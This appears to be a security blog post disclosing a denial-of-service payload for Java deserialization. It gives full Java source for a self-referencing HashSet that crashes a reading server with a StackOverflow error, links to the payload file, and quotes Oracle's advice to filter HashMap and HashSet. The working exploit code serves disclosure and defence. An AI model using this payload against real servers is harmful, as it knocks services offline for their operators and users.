DOS Payload (works on latest JRE) for Java Deserialization issue

Reading the below serialized payload by server using the latest JRE version (or older), can cause instant crash on server (StackOverflow error)

Payload:
https://github.com/csanuragjain/extra/blob/master/Deserialization%20issue/payloadNew.txt?raw=true

How is it created:

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;

import java.util.HashMap;

import java.util.HashSet;

import java.util.Map;

import java.util.Set;

public class Payload2 {

/**

 * @param args

 * @throws Exception 

 */

public static void main(String[] args) throws Exception {

// TODO Auto-generated method stub

        Set s= new HashSet<>();

        Set entry= new HashSet();

        s.add(entry);

        entry.add(entry);

        FileOutputStream fos = new FileOutputStream("payloadNew.txt");

        ObjectOutputStream oos = new ObjectOutputStream(fos);

        oos.writeObject(s);

        oos.flush();

}

}

What happens when server reads it:

Server crash with StackOverflow error

What Oracle has to say:

There is no default JEP 290 serial filter that applies to all RMI
applications and eliminates all issues.  It is up to the application
writer to choose the configuration that makes an application the safest
it can be (given it's deserializing untrusted data).  In the given
examples HashMap and HashSet could be blocked to eliminate that issue.

In short, Oracle asks to block both of these classes using the serial Filter.

My thoughts:

Not quite sure, why an internal loop is even allowed.

The best way to mitigate this issue is not to trust any user provided serialized data. But if you have to read it then you need to be aware about these issues and should completely block these classes atleast (Although i think some other payload will always come)

Let me know your thoughts...